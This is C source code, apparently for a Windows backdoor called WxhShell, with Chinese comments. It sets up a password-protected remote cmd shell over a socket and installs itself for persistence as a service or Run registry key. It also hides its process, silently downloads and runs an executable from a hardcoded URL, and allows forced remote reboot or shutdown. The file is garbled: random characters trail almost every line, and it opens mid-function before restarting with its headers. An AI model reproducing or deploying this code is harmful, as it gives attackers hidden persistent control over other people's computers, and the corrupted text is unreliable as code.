    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [,^dM:E/  
    if(Boot(SHUTDOWN)) 3 ms/v:\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CD_f[u  
    else { \z9?rvT:  
    closesocket(wsh); X{}#hyYk"  
    ExitThread(0); mM* yv  
    } %j">&U.[  
    break; +ca296^  
    } -ZP&zOsDr  
  // 获取shell %g&,]=W\N  
  case 's': { u;Eu<jU1  
    CmdShell(wsh); prN(V1O  
    closesocket(wsh); U.U.\   
    ExitThread(0); Y:%)cUxA  
    break; 2\{uq v  
  } Db=>7@h3C  
  // 退出 S=,1} XZ  
  case 'x': { J'yN' 0  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 'w[d^L   
    CloseIt(wsh); $`{q[{  
    break; Q!X_&ao )O  
    } 51qIo4$  
  // 离开 1fW4=pF-K  
  case 'q': { Rr4CcM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); /]zib@i  
    closesocket(wsh); 4~A#^5J  
    WSACleanup(); 6 ]PM!6  
    exit(1); m5w9l"U]H  
    break; 9K46>_TyH  
        } Cz r4 -#2  
  } MLBg_<  
  } } Tr83B|  
x7Rq|NQ  
  // 提示信息 t;dQ~e20  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); s}#[*WOc  
} IS2Ij  
  } s~Wu0%])Q  
; axa ZV  
  return; K#UA M .  
} -`dxx)x  
urXb!e{l  
// shell模块句柄 fslk7RlSKg  
int CmdShell(SOCKET sock) $Kz\ h#}  
{ NB5L{Gf6-  
STARTUPINFO si; UD<^r]'x  
ZeroMemory(&si,sizeof(si)); v?D kDnta  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; W(a'^ #xe  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 62)lf2$1  
PROCESS_INFORMATION ProcessInfo; QP5:M!O<)  
char cmdline[]="cmd"; xrVZxK:!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h2|vB+W-  
  return 0; 9U9c"'g  
} V,XP&,no\j  
Z#Zzi5<  
// 自身启动模式 4zqE?$HM'  
int StartFromService(void) )SL@ >Cij  
{ _RaVnMJKX4  
typedef struct tw4am.o1]  
{ ONN{4&7@<  
  DWORD ExitStatus; |g\.5IM#W  
  DWORD PebBaseAddress; #~URLN  
  DWORD AffinityMask; ro&Y7m  
  DWORD BasePriority; M-Z6TL  
  ULONG UniqueProcessId; K~Au?\{  
  ULONG InheritedFromUniqueProcessId; r,.95@  
}   PROCESS_BASIC_INFORMATION; J;=aIiN]R  
av; (b3Lq  
PROCNTQSIP NtQueryInformationProcess; )_ b@~fC  
'5xuT _  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Ec*--]j*c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $qlqW y-s  
p=-B~:  
  HANDLE             hProcess; F*4Qa  
  PROCESS_BASIC_INFORMATION pbi; bpF@}#fT  
|T$a+lHMD  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); eW"x%|/Q7  
  if(NULL == hInst ) return 0; D;^ZWz0  
)| Vg/S  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b*FU*)<4.  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); SEQO2`]e:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); bm tJU3Rm  
?mYV\kDt\  
  if (!NtQueryInformationProcess) return 0; j |'# 5H`  
U)`3[fo  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); cB|Cy{%  
  if(!hProcess) return 0; hDB`t $  
7:VEM;[d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xw*%3'  
;ad9{":J#B  
  CloseHandle(hProcess); 4('0f:9z+  
k\Z;Cmh>  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); neB.Wu~WH  
if(hProcess==NULL) return 0; +2V%'{:  
\}u7T[R=`  
HMODULE hMod; ]O[+c*|w  
char procName[255]; Q_dXRBv=n  
unsigned long cbNeeded; Nn,vdu{^2  
K{= r.W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [I++>4  
7dufY }}  
  CloseHandle(hProcess); S& ,Ju%  
c+E//X|  
if(strstr(procName,"services")) return 1; // 以服务启动 SrQ4y`?  
&v3D" J  
  return 0; // 注册表启动 f#;ubfi"z  
} L_ Xn,  
hpqHllL  
// 主模块 ,NaV [ "9$  
int StartWxhshell(LPSTR lpCmdLine) n~"g'Y  
{  EbBv}9g  
  SOCKET wsl; u,Q_WR-wJ  
BOOL val=TRUE; nj~$%vmA  
  int port=0; pu2wEQ  
  struct sockaddr_in door; ,);= (r9  
u-%r~ }  
  if(wscfg.ws_autoins) Install(); Qe @A5#  
=e-a&Ep-z  
port=atoi(lpCmdLine); Ersr\ZB  
I5TQ>WJbf  
if(port<=0) port=wscfg.ws_port; u:AfHZ  
.fLiXx  
  WSADATA data; w| -0@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; lnS\5J  
Eo7 _v  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ,`%k'ecN  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q19k<BqR  
  door.sin_family = AF_INET; `r~`N`o5A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _:ZFCDO  
  door.sin_port = htons(port); E !Oz|q  
Z9J =vzsHE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~zE 1'  
closesocket(wsl); !~lVv&YO  
return 1; 3P+4S|@q(4  
} 3xmiX{1e  
z^ aCQ3E  
  if(listen(wsl,2) == INVALID_SOCKET) { hkmTpH1<M  
closesocket(wsl); r+[#%%}ea  
return 1; ="5k\1W1M  
} r/N[7 *i  
  Wxhshell(wsl); |aI|yq)  
  WSACleanup(); IL+#ynC  
4DQ07w  
return 0; bK_0NrXP  
' D)1ka.  
} K)Df}fVOc  
CU#L *kz  
// 以NT服务方式启动 27Kc -rcB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) zK ' _e&*  
{ 3i]"#wK  
DWORD   status = 0; $n=W2WJ6f  
  DWORD   specificError = 0xfffffff; U,%s;  
Q-! i$#-  
  serviceStatus.dwServiceType     = SERVICE_WIN32; RlI W&y  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; S4l)TtY  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; dJdD"xj  
  serviceStatus.dwWin32ExitCode     = 0; D_l/Gxdpr  
  serviceStatus.dwServiceSpecificExitCode = 0; LCo1{wi  
  serviceStatus.dwCheckPoint       = 0; QmWC2$b  
  serviceStatus.dwWaitHint       = 0; /32Ta  
'|YtNhWZ?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K:>NGGY8r  
  if (hServiceStatusHandle==0) return; L<f-Ed9|  
} D/+<  
status = GetLastError(); ')AByD}Hi]  
  if (status!=NO_ERROR) _%A/ )  
{ '\ph`Run  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 8_^'(]  
    serviceStatus.dwCheckPoint       = 0; -vv   
    serviceStatus.dwWaitHint       = 0; $:%*gY4~76  
    serviceStatus.dwWin32ExitCode     = status; iN:G/ss4O  
    serviceStatus.dwServiceSpecificExitCode = specificError; T!m42EvIvE  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); $\0cJCQ3  
    return; jHkyF`<+  
  } +?URVp  
MAuM)8_P/|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ppwd-^f3j  
  serviceStatus.dwCheckPoint       = 0; w$DG=!  
  serviceStatus.dwWaitHint       = 0; %-@'CNP  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rtB|N-  
} +l2e[P+qA  
/p"U  
// 处理NT服务事件,比如:启动、停止 g6rv`I $l  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B8bvp:Ho|  
{ iyA*J CD  
switch(fdwControl) 89*S? C1  
{ bh=\  
case SERVICE_CONTROL_STOP: J>f /u:.  
  serviceStatus.dwWin32ExitCode = 0; 3q'K5} _  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; XoDJzrL#  
  serviceStatus.dwCheckPoint   = 0; W@:^aH  
  serviceStatus.dwWaitHint     = 0; ]h #WkcXQ  
  { GIl:3iB49  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); |RHO+J  
  } H/cs_i  
  return; EsT0"{  
case SERVICE_CONTROL_PAUSE: ggrI>vaw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; jG+T.  
  break; <h'8w  
case SERVICE_CONTROL_CONTINUE: #Y;.>mF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; %3]3r*e&5  
  break; 21.YO]Et  
case SERVICE_CONTROL_INTERROGATE: !&@2  
  break;  K&j' c  
}; z `\# $  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bcq@N  
} f?2zLE>u  
mcvDxjk,h  
// 标准应用程序主函数 PfVEv *  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ^OHZ767v  
{ 'jh2**i 34  
zSEr4^Dk4  
// 获取操作系统版本 V8-4>H}Cb/  
OsIsNt=GetOsVer(); YH6snC$u  
GetModuleFileName(NULL,ExeFile,MAX_PATH); H"2U)HJl  
Q<z)q<e  
  // 从命令行安装 * zd.  
  if(strpbrk(lpCmdLine,"iI")) Install(); a^@+%?X  
r`?&m3IOP  
  // 下载执行文件 0w^jls  
if(wscfg.ws_downexe) { I|$'Q$m~  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) WEno+Z~=1'  
  WinExec(wscfg.ws_filenam,SW_HIDE); %0NLRfp  
} ;])I>BT[  
$`E4m8fX  
if(!OsIsNt) { V78Mq:7d  
// 如果时win9x,隐藏进程并且设置为注册表启动 x*:n4FZ7b  
HideProc(); P1dN32H o  
StartWxhshell(lpCmdLine); 8&i;hZm  
} gs$3)t  
else _Mlhum t  
  if(StartFromService()) x2Ha&   
  // 以服务方式启动 jeY4yM  
  StartServiceCtrlDispatcher(DispatchTable); FL59  
else RwUW;hU  
  // 普通方式启动 Vz%"9`r  
  StartWxhshell(lpCmdLine); wh9L(0  
>r~0SMQr  
return 0; j6`6+W=S(  
} $B<~0'6}  
! &Z*yH  
uRP Ff77  
O\%j56Bf  
=========================================== X d!Cp  
B<A:_'g  
_wMc*kjJO  
mG X\wta  
Z&TD+fT<  
i"/r)>"b  
" HS7R lU^  
MY&<)|v\  
#include <stdio.h> 5@K\c6   
#include <string.h> bC6X?m=  
#include <windows.h> c qv .dC  
#include <winsock2.h> L%f-L.9`u  
#include <winsvc.h> P;jlHZ9?O  
#include <urlmon.h> y*_K=}pk  
RTA%hCr!  
#pragma comment (lib, "Ws2_32.lib") C:Vv!u  
#pragma comment (lib, "urlmon.lib") yj>) {NcX  
e,^pMg~  
#define MAX_USER   100 // 最大客户端连接数 }Bd_:#.mw  
#define BUF_SOCK   200 // sock buffer xOhRTxic  
#define KEY_BUFF   255 // 输入 buffer e!6eZ)l  
"@(58nk  
#define REBOOT     0   // 重启 OO$|9`a  
#define SHUTDOWN   1   // 关机 ACgt" M.3F  
$\+"qs)  
#define DEF_PORT   5000 // 监听端口 Tu==49  
@sN^BX`z  
#define REG_LEN     16   // 注册表键长度 X!o@f$  
#define SVC_LEN     80   // NT服务名长度 bH_I7G&m  
fTTm$,f5N  
// 从dll定义API FWIih5 3`  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); "X`Qe!zk4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vnDmFqelz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); @ozm;  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); q Z#!CPHS  
:sFo  
// wxhshell配置信息 &ryiG  
struct WSCFG { `nKJR'QC  
  int ws_port;         // 监听端口 >;m{{nj  
  char ws_passstr[REG_LEN]; // 口令 (:JjQ`i  
  int ws_autoins;       // 安装标记, 1=yes 0=no Ln:lC( '  
  char ws_regname[REG_LEN]; // 注册表键名 0Qt~K#mr/  
  char ws_svcname[REG_LEN]; // 服务名 iW'_R{)T  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #T[%6(QW  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 L+7*NaPY*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 7$K}qsr<  
int ws_downexe;       // 下载执行标记, 1=yes 0=no R \ia6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" iEe#aO"D!  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YjX*)Q_sl?  
*g*VCO  
}; 6`1k ^  
u9BjgK(M  
// default Wxhshell configuration f0OgK<.>T  
struct WSCFG wscfg={DEF_PORT, 'w:bs!  
    "xuhuanlingzhe", CNq[4T'~A  
    1, f7ZA837Un  
    "Wxhshell", # 9V'';:  
    "Wxhshell", RTZ:U@  
            "WxhShell Service", Q~8y4=|#CY  
    "Wrsky Windows CmdShell Service", hc"6u\>  
    "Please Input Your Password: ", <M=';h^w2  
  1, {b[tA, >  
  "http://www.wrsky.com/wxhshell.exe", W5 |j1He&  
  "Wxhshell.exe" )]3L/  
    }; .3(;9};  
_Cj(fFL  
// 消息定义模块 mLQUcYfR  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; (NPxab8e*  
char *msg_ws_prompt="\n\r? for help\n\r#>"; @FU~1u3d  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; CPVmF$A-  
char *msg_ws_ext="\n\rExit."; #sS9vv7i  
char *msg_ws_end="\n\rQuit."; G#|Hu;C6"  
char *msg_ws_boot="\n\rReboot..."; ]?M)NRk%S  
char *msg_ws_poff="\n\rShutdown..."; .5 ]{M\aA  
char *msg_ws_down="\n\rSave to "; 4'` C1a  
X'jr|s^s  
char *msg_ws_err="\n\rErr!"; {-J:4*`  
char *msg_ws_ok="\n\rOK!"; 3hLqAj  
72u db^  
char ExeFile[MAX_PATH]; :1*zr  
int nUser = 0; 9Eu #lV  
HANDLE handles[MAX_USER]; sLZ>v  
int OsIsNt; 8sH50jeP  
Rh[Ibm56  
SERVICE_STATUS       serviceStatus; vn``0!FX  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; =D}4X1l  
~x\Cmu9`  
// 函数声明 Z~_8P  
int Install(void); svqvG7  
int Uninstall(void); Vli3>K&  
int DownloadFile(char *sURL, SOCKET wsh); -( (Z@T1k  
int Boot(int flag); lYP~3wp99  
void HideProc(void); s+'XQs^{aj  
int GetOsVer(void); !:dL~n  
int Wxhshell(SOCKET wsl); b#A(*a_gN  
void TalkWithClient(void *cs); $M39 #a  
int CmdShell(SOCKET sock); :,47rN,qa  
int StartFromService(void); @R UP$  
int StartWxhshell(LPSTR lpCmdLine); UDM yyVd  
4j{oaey  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); y #69|G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6Etss!_  
lJUy;yp_+  
// 数据结构和表定义 \1]rlzXGUT  
SERVICE_TABLE_ENTRY DispatchTable[] = &u=8r*  
{ _Ds@lVY  
{wscfg.ws_svcname, NTServiceMain}, >IBTBh_ka  
{NULL, NULL} "9%q bM B  
}; UP]1(S?  
"1K:/n  
// 自我安装 #cO+<1  
int Install(void)  `Klrr  
{ ODek%0=  
  char svExeFile[MAX_PATH]; &>g~-s  
  HKEY key; mbGcDG[HQ  
  strcpy(svExeFile,ExeFile); *Wso3 6an  
p&\K9hfi  
// 如果是win9x系统,修改注册表设为自启动 XddHP;x  
if(!OsIsNt) { McP~}"!^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :PUK6,"5]O  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6e<^o H  
  RegCloseKey(key); Gnk|^i;t  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { A=y"x$%-_  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Tt%}4{"  
  RegCloseKey(key); Nq_A8Ph9  
  return 0; c_Tzyh7l4  
    } r ^ Y~mq  
  } Ok*Z  
} >T QZk4$  
else { {\L|s5=yr  
4#7Umj  
// 如果是NT以上系统,安装为系统服务 9qre|AA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); v&r=-}z2!  
if (schSCManager!=0) u1N1n;#  
{ 06jMj26!  
  SC_HANDLE schService = CreateService GQ[pG{ _+  
  ( =LK}9ViH  
  schSCManager, V~[:*WOX  
  wscfg.ws_svcname, kZv*rWAm  
  wscfg.ws_svcdisp, 9ad6uTc  
  SERVICE_ALL_ACCESS, C.( yd$,  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , f1J %]g!  
  SERVICE_AUTO_START, k2.G%]j  
  SERVICE_ERROR_NORMAL, <6R"h-u"  
  svExeFile, R1/q3x  
  NULL, GG+5/hU  
  NULL, xDUaHE1co  
  NULL, P5Dk63z]  
  NULL, AEqq1A   
  NULL y?Onb 3%  
  ); 79wLT \&  
  if (schService!=0) B=dseeG[To  
  { as#J qE  
  CloseServiceHandle(schService); Hd374U<8]T  
  CloseServiceHandle(schSCManager); BGzO!s*@j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hlC%HA  
  strcat(svExeFile,wscfg.ws_svcname); ]-a{IWVN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { FT( iX `YQ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ZV( w  
  RegCloseKey(key); H-2_j  
  return 0; 9n 6fXOC  
    } 3q?5OL^$  
  } q]XHa,"  
  CloseServiceHandle(schSCManager); fhr-Y'  
} )!sa)\E?  
} e#khl9j*bt  
$rB6<  
return 1; Y"*:&E2)r  
} puF%=i  
"H?QqrKx  
// 自我卸载 R8 jovr  
int Uninstall(void) v?)SA];  
{ r[!(?%>j  
  HKEY key; uREu2T2  
/PW&$P1.]"  
if(!OsIsNt) { Egf^H>,.M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {R8=}Qo  
  RegDeleteValue(key,wscfg.ws_regname); [e1L{_*l  
  RegCloseKey(key); *KJ7nRKx(w  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { vI|As+`$d  
  RegDeleteValue(key,wscfg.ws_regname); ESv:1o`?n  
  RegCloseKey(key); L/ fRF"V  
  return 0; VaJfD1zd1  
  } Onw24&  
} az2X ch]  
} 0m&3?"5u  
else { ,E9d\+j  
anC+r(jjg9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); gc,Ps  
if (schSCManager!=0) 8^vArS;  
{ P#*n3&Uu  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *Ru2:}?MpS  
  if (schService!=0) )8'jxiGs  
  { 4| f}F  
  if(DeleteService(schService)!=0) { `)tA YH  
  CloseServiceHandle(schService); HTR1)b  
  CloseServiceHandle(schSCManager); ~K` 1  
  return 0; bjzx!OCpV  
  } Ow)R|/e /  
  CloseServiceHandle(schService); R&Ci/  
  } .[(P  
  CloseServiceHandle(schSCManager); TVeJ6  
} +N R n0 z(  
} *<q4S(l  
~!] m6/  
return 1; Y`^o7'Z2^P  
} l#xw.2bo  
Xm@aYNV  
// 从指定url下载文件 }N]!0Ka  
int DownloadFile(char *sURL, SOCKET wsh) g_M ^E-3  
{ ~6HDW  
  HRESULT hr; ET+'Pj3  
char seps[]= "/"; iaRR5D-  
char *token; %w:'!X><  
char *file; }"4roJ  
char myURL[MAX_PATH]; zo44^=~%  
char myFILE[MAX_PATH]; hVf^  
ERC<Dd0  
strcpy(myURL,sURL); lwJipIO  
  token=strtok(myURL,seps); 8K^f:)Qw  
  while(token!=NULL) aDveU)]=1  
  { n_P(k-^U*  
    file=token; }p{;^B  
  token=strtok(NULL,seps); *8UYSA~v  
  } yoU2AMH2D^  
1R^4C8*B  
GetCurrentDirectory(MAX_PATH,myFILE); @ef$b?wg  
strcat(myFILE, "\\"); S_5?U2%D  
strcat(myFILE, file); (yGQa5v  
  send(wsh,myFILE,strlen(myFILE),0); 2GUupnQkD  
send(wsh,"...",3,0); aTClw<6}  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Kj!Y K~~  
  if(hr==S_OK) OL9]*G?F  
return 0; +* D4(  
else OZT^\Ky_l  
return 1; S&01SX6  
`Cg^in\  
} !tBeuemN%  
r<|nwFJ  
// 系统电源模块 NjP ]My  
int Boot(int flag) :o$@F-$k  
{ t'aSF{%  
  HANDLE hToken; "kr,x3 =  
  TOKEN_PRIVILEGES tkp; vgo{]:Aj{  
L#ZLawG  
  if(OsIsNt) { (3O1?n[n  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); KIIym9%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 5~[N/Gl  
    tkp.PrivilegeCount = 1; ~6sE an3p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7E(%9W6P  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4>_d3_1sn  
if(flag==REBOOT) { Qi:j)uDW  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ~p^7X2% !  
  return 0; Q c3?}os2  
} )E~_rDTl  
else { QkE,T0,/?h  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Ut_mrb+W  
  return 0; nsl*Dm"*F  
} 9A+M|;O  
  } 9GPb$ gtx  
  else { j{"[Ec  
if(flag==REBOOT) { "Z~`e]>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Pw  xIz  
  return 0; o&,Y<$!:VH  
} R9vY:oN%  
else { ^6qjSfFW}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 0I^Eo|  
  return 0; 8 }z3CuM  
} 4 l1 i>_R  
} @G(xaU'u  
JCcQd 01z  
return 1; {,Fcd(MU  
} r{Z[xWIX  
SB1[jcJ  
// win9x进程隐藏模块 ]>vf9]  
void HideProc(void) 6ZOAmH fs  
{ T<M?PlED  
9gR.RwR X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); !o<ICHHH  
  if ( hKernel != NULL ) u}m.}Mws  
  { :MBS>owR  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >b43%^yii  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); n$ dw<y  
    FreeLibrary(hKernel); 7V 'Le2T'  
  } 6V P)$h8  
ZOn_dYjC  
return; 0\wiam-  
} L;Vq j]_  
jN{Zw*  
// 获取操作系统版本 0d`5Gy_D%  
int GetOsVer(void) M8zE3;5  
{ gD1+]am  
  OSVERSIONINFO winfo; cUsL 6y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K%PxA #P}  
  GetVersionEx(&winfo); jE*Ff&]%m  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]9@X? q  
  return 1; EZ{/]gCK  
  else Z8fJ{uOIL  
  return 0; OM{Dq|  
} 0T0/fg(o  
Wvb Eh|y  
// 客户端句柄模块 e{JVXc[D  
int Wxhshell(SOCKET wsl) 6WO7+M;z  
{ :])JaS^  
  SOCKET wsh; obYn&\6  
  struct sockaddr_in client; [ t$AavU.  
  DWORD myID; e2bLkb3c  
%Zu Ll(  
  while(nUser<MAX_USER) yp?w3|`4;  
{ hv{87`L'K(  
  int nSize=sizeof(client); pX^=be_  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); f)U6p  
  if(wsh==INVALID_SOCKET) return 1; b"&E,=L  
y<v|X2  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); T g{UK  
if(handles[nUser]==0) cyHU\!Z*Zq  
  closesocket(wsh); X\mz+al>[  
else {=6)SBjf  
  nUser++; x,f>X;04  
  } Mlwdha0  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !3 ?yG  
"8?TSm8  
  return 0; q- H&5K  
} Y-= /,   
-~} tq]  
// 关闭 socket :t%)5:@A  
void CloseIt(SOCKET wsh) dEG ]riO  
{ Fn> <q:  
closesocket(wsh); Uh%6LPg^  
nUser--; ]'e A O  
ExitThread(0); M=6G:HHY  
} sNf +lga0  
N|$5/bV  
// 客户端请求句柄 k{1b20  
void TalkWithClient(void *cs) EP(Eq  
{ CdNih8uG  
^6#-yDZC@  
  SOCKET wsh=(SOCKET)cs; I5Q~T5Ar  
  char pwd[SVC_LEN]; 5v+L';wx[T  
  char cmd[KEY_BUFF]; ?eVj8 $BQo  
char chr[1]; %!yxC  
int i,j; ~ttKI4  
@C07k^j=U  
  while (nUser < MAX_USER) { ",QPb3  
j)BQMtt&U  
if(wscfg.ws_passstr) { _<3r'Y,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); M_; w %FV  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);  VmYBa(  
  //ZeroMemory(pwd,KEY_BUFF); Qi"'bWX@  
      i=0; j=\Mx6os  
  while(i<SVC_LEN) { ,$ mLL  
_)q4I(s*  
  // 设置超时 HGb.656r  
  fd_set FdRead; V>r j$Nc]  
  struct timeval TimeOut; YLigP"*~^  
  FD_ZERO(&FdRead); LC76Qi;|k  
  FD_SET(wsh,&FdRead); ho_4fDv  
  TimeOut.tv_sec=8; smbUu/  
  TimeOut.tv_usec=0; k0knPDbHv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t%:G|n Sz  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); #.b^E3#+  
*.xZfi_|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Stt* 1gT  
  pwd=chr[0]; MorW\7-}  
  if(chr[0]==0xd || chr[0]==0xa) { IX?@~'  
  pwd=0; egbb1+tY  
  break; zG<0CZQ8  
  } "!^c  
  i++; 'cYQ ?;  
    } ze ?CoDx2  
u,\xok"  
  // 如果是非法用户,关闭 socket !bieo'c  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 8| Sba<d  
} ZRUh/<\[  
[C2kK *JZ  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }pt-q[s>  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $=lJG(2%  
"`[$&:~  
while(1) { O8iu+}]/6  
1aVgwAI  
  ZeroMemory(cmd,KEY_BUFF); ThbP;CzI#  
(%.</|u  
      // 自动支持客户端 telnet标准   W!y)Ho  
  j=0; GgT=t)}wu  
  while(j<KEY_BUFF) { 48;~bVr}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6S)$3Is  
  cmd[j]=chr[0]; b6]e4DL:R  
  if(chr[0]==0xa || chr[0]==0xd) { )S#j.8P'B  
  cmd[j]=0; coSTZ&0  
  break; (5>{?dR)|  
  } |^Ur  
  j++; u^!&{q  
    } ]yw_n^@  
jzQ9zy_  
  // 下载文件 ^971<B(v  
  if(strstr(cmd,"http://")) {  KzIt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); UQSX<6"  
  if(DownloadFile(cmd,wsh)) $,g 3*A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); |b,zw^!e['  
  else B{^`8Htrn  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Gi;9 S  
  } p_A5C?&  
  else { |3aS17yL>  
J6= w:c  
    switch(cmd[0]) { 8xc8L1;  
  Hxj'38Y  
